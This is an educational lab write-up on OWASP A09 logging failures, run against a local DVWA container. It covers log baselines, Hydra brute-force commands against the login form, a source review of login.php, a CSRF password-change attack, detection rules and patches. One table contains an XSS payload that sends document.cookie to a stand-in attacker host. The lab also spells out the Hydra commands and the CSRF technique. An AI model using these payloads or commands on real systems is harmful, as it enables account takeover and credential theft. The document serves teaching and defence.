

OWASP A09:2021 — Security Logging & Monitoring Failures

Hands-On Lab: Brute Force, CSRF, and Session Attacks Against DVWA

Cybersecurity Lab Notes

September 5, 2026

Environment: DVWA (`vulnerables/web-dvwa`) on Docker, container `vigorous_ritchie` , port 8080 **Attacker Host:** Kali Linux (WSL) — user `Dark@DESKTOP-VHS59DR` **Target:** `http://localhost:8080` / `http://127.0.0.1:8080` **Security Level:** DVWA — Low **Date of Lab:** September 5, 2026

1. Objective

This lab covers OWASP Top 10 **A09:2021 - Security Logging and Monitoring Failures** through direct, hands-on exploitation and log analysis. Unlike most OWASP categories that stem from a single flawed line of code, A09 is a failure of *process and visibility* — logs may exist, but if nobody (and nothing) is watching them correctly, an attack goes unnoticed regardless of how “loud” it is.

The lab was structured in four phases:

1. Establish a monitoring baseline (Apache `access.log` via `tail -f`)
2. Attack the login mechanism (manual and automated brute force via Hydra)
3. Read DVWA's actual server-side source code to find the real defenses (and gaps)
4. Execute a real CSRF attack that bypasses authentication entirely and compare its log signature against brute force

2. Environment Setup

2.1 Starting / Resuming DVWA

```
docker ps -a
docker start vigorous_ritchie
```

Confirmed running container:

CONTAINER ID	IMAGE	COMMAND	STATUS	PORTS
3cc1d3d41339	vulnerables/web-dvwa	"/main.sh"	Up 2 minutes	0.0.0.0:8080->80/tcp

Logged in via browser at `http://localhost:8080` with default DVWA credentials (`admin` / `password`), and set **DVWA Security → Low** to remove input filtering noise during analysis.

2.2 Establishing the Monitoring Pipe

The Apache access log inside the container was tailed live to act as our “SOC monitoring console” for the entire lab:

```
docker exec -it vigorous_ritchie tail -f /var/log/apache2/access.log
```

This single command was the backbone of the entire exercise — every subsequent action was cross-referenced against what this stream captured (or failed to capture).

3. Phase 1 — Baseline: Reading a “Normal” Login

3.1 Successful Login

Step	Request	Result
1	<code>GET /login.php</code>	<code>200</code>
2	<code>POST /login.php</code> (correct creds)	<code>302</code>
3	<code>GET /index.php</code>	<code>200</code>

```
172.17.0.1 - - "GET /login.php HTTP/1.1" 200 1066 ...
172.17.0.1 - - "POST /login.php HTTP/1.1" 302 337 ...
172.17.0.1 - - "GET /index.php HTTP/1.1" 200 3036 ...
```

3.2 Failed Login

```
172.17.0.1 - - "POST /login.php HTTP/1.1" 302 337 ...
172.17.0.1 - - "GET /login.php HTTP/1.1" 200 1067 ...
```

3.3 Finding #1 — Ambiguous Success/Failure Signal

This is the first and most important A09 finding of the lab.

	Successful Login	Failed Login
POST status code	302	302
POST body size	~337 bytes	~336-337 bytes
Distinguishing signal	Only the following GET request's target (index.php vs login.php)	

Analysis: Apache’s default access log gives **no direct, single-line signal** for authentication outcome. A SOC analyst or automated parser must stitch together two consecutive log lines and know the application’s redirect behavior by heart to tell success from failure. This is fragile, non-scalable, and breaks the moment the application’s redirect logic changes. This directly demonstrates OWASP A09 failure mode: “auditable events (login success/failure) are not logged in a way that is verifiable or usable.”

4. Phase 2 — Manual Brute Force Simulation

Eight rapid login attempts were submitted manually with incorrect passwords to observe rhythm-based detection.

```
04:15:34 → 04:15:38 → 04:15:43 → 04:15:45 → 04:15:50 → 04:15:54 → 04:15:58 → 04:16:06
```

Analysis: ~3-5 seconds between attempts, sustained for 30+ seconds — inconsistent with normal human password entry (typing + realizing failure + retrying). This pattern is visually detectable by a human watching `tail -f` in real time, but **at production scale, with thousands of legitimate users, no analyst manually watches raw access logs**. This confirms A09 failure mode: “logs are only reviewed manually, if at all, and lack automated alerting.”

5. Phase 3 — Automated Brute Force with Hydra

5.1 Tool Overview

Hydra (THC-Hydra) is a parallelized login-cracking tool supporting dozens of protocols (HTTP forms, SSH, FTP, RDP, etc.). It is standard-issue in both offensive security (authorized pentesting) and, unfortunately, real-world credential-stuffing attacks. The tool itself is neutral; legality depends entirely on authorization. This lab was run exclusively against a local, self-hosted, intentionally vulnerable target.

5.2 First Attempt — Failure-String Detection (F=)

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8080 \
http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed"
```

Result: 16/16 passwords reported as “valid” — including passwords known to be incorrect (monkey , iloveyou , nicole).

Root cause: DVWA’s login response is a 302 redirect with an empty body on both success and failure. The string "Login failed" only appears on the **next page load** (after the browser follows the redirect), not in the immediate POST response Hydra inspects. Since Hydra’s failure string never matched, it defaulted every attempt to “success” — a **false positive on every single attempt**.

5.3 Second Attempt — Success-String Detection (S=)

```
hydra -l admin -P /tmp/small.txt 127.0.0.1 -s 8080 \
http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V
```

Result: 0/5 passwords valid — including the password known to be correct (password). A **false negative**.

5.4 Root Cause Analysis (via -d debug mode)

Debug output revealed the actual server response body for every attempt:

CSRF token is incorrect

Finding #2 — Anti-CSRF protection incidentally defeated the brute-force tool.

DVWA’s `login.php` requires a `user_token` value that is: - Generated fresh on every page load (`generateSessionToken()`) - Tied to the current `PHPSESSID` session - Validated server-side (`checkToken()`) **before** the username/password are even checked

Hydra’s basic HTTP-POST-form module sends a static, hardcoded POST body on every attempt — it does not scrape a live token from a preceding GET request. Every attempt was therefore rejected at the CSRF-validation stage, regardless of password correctness.

5.5 Analytical Takeaway

Aspect	Observation
Intended purpose of CSRF token	Prevent cross-site request forgery
Actual side effect observed	Broke a naive automated brute-force tool
Is this a real brute-force defense?	No — it is incidental. A scripted attacker (Python + <code>requests</code> + HTML parsing) can trivially scrape and replay the token per-request in a few lines of code.
Real gap this exposes	The application has no purpose-built brute-force defense : no rate limiting, no lockout, no attempt logging.

6. Phase 4 — Source Code Review (`login.php`)

Extracted directly from the container:

```
docker cp vigorous_ritchie:/var/www/html/login.php ./login.php
# or view in place:
docker exec vigorous_ritchie cat /var/www/html/login.php
```

6.1 Key Code Segments

Token validation (runs before any credential check):

```
if( isset( $ _POST[ 'Login' ] ) ) {
    // Anti-CSRF
    checkToken( $ _REQUEST[ 'user_token' ], $ _SESSION[ 'session_token' ], 'login.php' );
    ...
}
```

Token (re)generation on every page render:

```
// Anti-CSRF
generateSessionToken();
```

Credential check (only reached if token is valid):

```
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass'";
if( $result && mysqli_num_rows( $result ) == 1 ) {
    dvwaLogin( $user );
    dvwaRedirect( 'index.php' );
}
// Login failed
dvwaMessagePush( 'Login failed' );
dvwaRedirect( 'login.php' );
```

6.2 Finding #3 — What Is Absent Is the Real A09 Story

A full read of `login.php` confirms there is:

- ✗ No `error_log()` / audit log call of any kind, on success **or** failure
- ✗ No per-IP or per-user failed-attempt counter
- ✗ No account lockout after N failures
- ✗ No throttling/delay between attempts
- ✗ No alerting hook of any kind

Conclusion: The CSRF token happened to blunt one unsophisticated tool run. It was never designed as, and does not function as, a logging, monitoring, or brute-force control. Had Hydra’s request template included a valid scraped token, this endpoint would accept unlimited attempts with zero record beyond Apache’s ambiguous access log (Section 3.3) and zero alerting.

7. Phase 5 — Log Signature: Automated Attack Traffic

Log lines generated during the Hydra run:

```
172.17.0.1 - - [05/Sep/2026:04:31:39 +0000] "GET /login.php HTTP/1.0" 200 1956 "-" "Mozilla/5.0 (Hydra)"
172.17.0.1 - - [05/Sep/2026:04:31:39 +0000] "GET /login.php HTTP/1.0" 200 1956 "-" "Mozilla/5.0 (Hydra)"
172.17.0.1 - - [05/Sep/2026:04:31:39 +0000] "POST /login.php HTTP/1.0" 302 300 "-" "Mozilla/5.0 (Hydra)"
172.17.0.1 - - [05/Sep/2026:04:31:39 +0000] "POST /login.php HTTP/1.0" 302 300 "-" "Mozilla/5.0 (Hydra)"
172.17.0.1 - - [05/Sep/2026:04:31:39 +0000] "GET /login.php HTTP/1.0" 200 1864 "-" "Mozilla/5.0 (Hydra)"
```

7.1 Comparison Table — Human vs. Manual “Attack” vs. Automated Tool

Signal	Legitimate human login	Manual rapid re-entry	Hydra (automated)
Timing between requests	Seconds, irregular	~3–5 sec, regular	Identical timestamp, 5x per second
User-Agent	Real browser string	Real browser string	Literally contains "Hydra"
Referer header	Present, points to prior page	Present	Blank ("-")
HTTP protocol version	1.1	1.1	1.0 (tool default)
GET:POST ratio pattern	1 GET : 1 POST : 1 GET	Same	5 GET : 5 POST : 5 GET, batched

7.2 Finding #4 — A Concrete, Implementable Detection Rule

```
IF 5+ POST requests to /login.php
FROM the same source IP
WITHIN a 1–60 second window
OR User-Agent matches known tool signatures (hydra, sqlmap, nikto, nmap, curl, python-requests)
OR Referer is blank on a POST to a session-authenticated form endpoint
THEN raise alert: "Possible automated brute-force / credential-stuffing attempt"
```

This is the translation of raw log evidence into an actual SIEM correlation rule — the step that was structurally missing from the DVWA application itself.

8. Phase 6 — CSRF: Session Hijack Without Credential Theft

8.1 Conceptual Distinction

	Session Cookie Theft (via XSS)	CSRF
Mechanism	Malicious script exfiltrates <code>document.cookie</code> to attacker-controlled server	Victim’s own browser is tricked into firing a state-changing request
Does attacker see the cookie?	Yes	No — never
Requires XSS?	Yes (or another leak vector)	No — only requires the victim to view/open a page while authenticated elsewhere
Example payload	<code><script>new Image().src="http://attacker/steal?c="+document.cookie</script></code>	Hidden <code></code> / <code><iframe></code> /auto-submit <code><form></code> pointing at a state-changing URL

8.2 Target: DVWA CSRF Module (Password Change)

Extracted form via View Source at <http://localhost:8080/vulnerabilities/csrf/>:

```
<form action="#" method="GET">
  New password:<br />
  <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
  Confirm new password:<br />
  <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
  <br />
  <input type="submit" value="Change" name="Change">
</form>
```

Finding #5 — Two design flaws stacked together: 1. `method="GET"` — state change (password reset) executed via URL parameters, not a POST body 2. **No hidden `user_token` field anywhere** — unlike `Login.php`, this endpoint performs no `checkToken()` validation at all

8.3 Building the Exploit

evil.html (hosted locally, but could equally be any external page, email, or forum post):

```
<html>
<body>
<h3>Congratulations! Click below to claim your prize!</h3>

</body>
</html>
```

Mechanism: The `<img>` tag causes the browser to issue a `GET` request to “load” the image resource. Because the victim’s browser already holds a valid `PHPSESSID` cookie for `localhost:8080`, that cookie is automatically attached to the request — the attacker’s page never touches the cookie itself.

8.4 Execution & Verification

Pre-condition confirmed: Victim browser authenticated to DVWA (`index.php` accessible without redirect to login).

Attack fired: `evil.html` opened in the same browser session.

Verification: Logged out, then logged back in with username `admin`, password `hacked123` — **login succeeded**, confirming the password had been silently changed with zero re-authentication and zero user interaction beyond opening a page.

8.5 Log Evidence

```
docker exec vigorous_ritchie grep "password_new" /var/log/apache2/access.log

172.17.0.1 - - [05/Sep/2026:05:59:07 +0000] "GET /vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change HTTP/1.1" 302 485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 CCleaner/151.0.0.0"
```

8.6 Finding #6 — CSRF Produces a Near-Clean Log Line (The Critical A09 Lesson)

Signal	Brute Force (Hydra)	CSRF Attack
Source IP	Attacker’s own	Victim’s own machine — looks completely legitimate
User-Agent	Tool signature, easily flagged	Real, ordinary browser string
HTTP method/timing	Batched, abnormal	Single request, normal timing
Only anomaly present	Multiple	Referer field is blank ("-") — the only signal, and one that no default logging setup treats as suspicious

This is the most important analytical conclusion of the lab. Brute force is loud and detectable with the right correlation rule. **CSRF is nearly silent** — the request appears to come from a legitimate, authenticated user, from their own IP, with a normal browser, at a normal time. The only anomaly (missing Referer on a state-changing action) is not a default alerting condition in most logging stacks. This proves that **for CSRF-class vulnerabilities, detection/monitoring is not a sufficient control — prevention must happen in the application code itself.**

9. Root Cause & Remediation Summary

#	Finding	OWASP Category	Root Cause	Fix
1	Login success/failure indistinguishable in access log	A09	App does not emit an explicit auth-event log; relies on ambiguous HTTP redirect codes	Add explicit <code>LOGIN_SUCCESS</code> / <code>LOGIN_FAILURE</code> audit logging with username + IP + timestamp
2	Brute force possible with zero native defense	A07 (Auth Failures) / A09	No rate limiting, lockout, or attempt tracking in <code>login.php</code>	Add per-IP/per-account rate limiting; account lockout after N failures; CAPTCHA after threshold
3	CSRF token defeats naive tools but is not a designed brute-force control	A09	Security-by-accident, not security-by-design	Implement a purpose-built brute-force control independent of CSRF protection
4	No logging exists in <code>login.php</code> at the	A09	Reliance entirely on web-server (Apache) logs, which	Add structured application-level logging (e.g., JSON logs

	application layer		lack application context	to a SIEM-ingestible file/stream)
5	CSRF-vulnerable password change (<code>csrf.php</code>)	A01 (Broken Access Control) / CSRF (historically A5:2017)	No <code>checkToken()</code> call; state change via <code>GET</code>	Add <code>checkToken()</code> validation identical to <code>login.php</code> ; change method to <code>POST</code> ; regenerate token per form load
6	CSRF attacks leave near-invisible log signatures	A09	Logging/monitoring cannot compensate for a missing application-layer control	Treat CSRF as a prevention-first vulnerability class; do not rely on log-based detection

Suggested `login.php` Patch (Conceptual)

```
if( isset( $ POST[ 'Login' ] ) ) {
    checkToken( $ REQUEST['user_token'], $ SESSION['session_token'], 'login.php' );

    // --- Added: structured audit logging ---
    $ip = $ SERVER['REMOTE_ADDR'];
    $attempted_user = $ POST['username'];

    if ( /* credentials valid */ ) {
        error_log("[AUTH_SUCCESS] user={$attempted_user} ip={$ip} time=" . date('c'));
    } else {
        error_log("[AUTH_FAILURE] user={$attempted_user} ip={$ip} time=" . date('c'));
        // increment per-IP failure counter (e.g., in Redis/APCu)
        // if counter > threshold: temporarily block IP / require CAPTCHA
    }
}
```

Suggested `csrf.php` Patch (Conceptual)

```
// Add before processing password change:
checkToken( $ REQUEST['user_token'], $ SESSION['session_token'], 'csrf.php' );
// Change form method="GET" to method="POST" in the HTML
// Call generateSessionToken() on every page load, same pattern as login.php
```

10. Tool & Command Reference

Purpose	Command
List/resume DVWA container	<code>docker ps -a</code> / <code>docker start vigorous_ritchie</code>
Live-tail Apache access log	<code>docker exec -it vigorous_ritchie tail -f /var/log/apache2/access.log</code>
Tail last N lines	<code>docker exec -it vigorous_ritchie tail -n 50 /var/log/apache2/access.log</code>
Search log for a string	<code>docker exec vigorous_ritchie grep "password_new" /var/log/apache2/access.log</code>
Copy file out of container	<code>docker cp vigorous_ritchie:/var/www/html/login.php ./login.php</code>
View file without copying	<code>docker exec vigorous_ritchie cat /var/www/html/login.php</code>
Hydra — failure-string mode	<code>hydra -l admin -P wordlist.txt 127.0.0.1 -s 8080 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed"</code>
Hydra — success-string mode	<code>hydra -l admin -P wordlist.txt 127.0.0.1 -s 8080 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V</code>
Hydra — debug/raw traffic mode	add <code>-d</code> flag
Build small custom wordlist	<code>echo -e "123456\nletmein\npassword123\npassword\nadmin123" > /tmp/small.txt</code>

11. Key Takeaways

- 1. **HTTP status codes alone are not audit logs.** A `302` means “redirected,” not “authenticated.” Applications must emit explicit,

unambiguous security events.

2. **Automated tools can be wrong in either direction** (false positive *and* false negative observed in this lab with the same target). Always verify tool output manually before trusting it — in both offensive and defensive contexts.
 3. **A security control can work by accident.** DVWA's CSRF token blocked a naive Hydra run, but was never designed as, and should never be relied upon as, a brute-force defense.
 4. **Absence of logging is itself the vulnerability.** `login.php` had zero application-level audit logging — the biggest structural finding of the entire lab, larger than any single attack technique.
 5. **Not all attacks are equally detectable via logs.** Brute force is loud (batched requests, tool signatures, timing anomalies). CSRF is nearly silent (single request, legitimate IP, real browser, normal timing) — for this class of vulnerability, **prevention (tokens, POST-only state changes) matters more than detection.**
 6. **The Referer header, while not authentication-grade, is an underused weak signal** for detecting requests that bypass an application's own expected user flow — worth incorporating into correlation rules, understanding it can be spoofed or absent for legitimate reasons too.
-

Lab conducted in a fully authorized, local, self-hosted, intentionally vulnerable environment (DVWA) for educational purposes only. Techniques and tools documented here (Hydra, CSRF payloads) must only be used against systems you own or are explicitly authorized to test.